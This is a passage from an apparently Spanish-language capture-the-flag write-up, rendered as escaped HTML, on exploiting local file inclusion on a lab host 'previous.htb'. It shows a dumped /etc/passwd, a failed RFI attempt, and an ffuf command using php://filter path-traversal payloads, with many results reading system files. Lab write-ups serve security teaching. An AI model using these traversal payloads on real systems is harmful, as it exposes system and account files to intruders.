&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;list&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Mailing List Manager&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/list&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irc&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ircd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/ircd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gnats&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Gnats Bug-Reporting System (admin)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/lib/gnats&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nobody&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;nobody&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_apt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;::/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-timesync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Time Synchronization,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-network&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;102&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;103&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Network Management,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-resolve&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;103&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Resolver,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;messagebus&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;105&lt;/span&gt;::/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_chrony&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;105&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;112&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Chrony daemon,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/lib/chrony&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sshd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;106&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;::/run/sshd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vagrant&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;::/vagrant&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-coredump&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Core Dumper&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;::/home/dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Users: www-data, vagrant&lt;/p&gt;
&lt;h3 id="rfi-no-viable"&gt;RFI (no viable)&lt;/h3&gt;
&lt;p&gt;Probamos con un RFI, pero no ejecuta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8059-ae39-ffc376588543.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fuzzing-de-archivos-sensibles"&gt;Fuzzing de archivos sensibles&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//previous.htb/index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=php&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#66d9ef"&gt;filter&lt;/span&gt;/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -fs &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fetc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 28ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fetc&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fpasswd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 56ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/apt/sources.list [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;632&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/crontab [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1392&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/fstab [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;436&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 32ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/group [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;940&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../etc/hosts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts.deny [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;948&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 72ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/hosts.allow [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;548&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 73ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/netconfig [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 37ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/motd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;384&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/issue [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/nsswitch.conf [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;680&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/./././././././././././etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 40ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 28ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
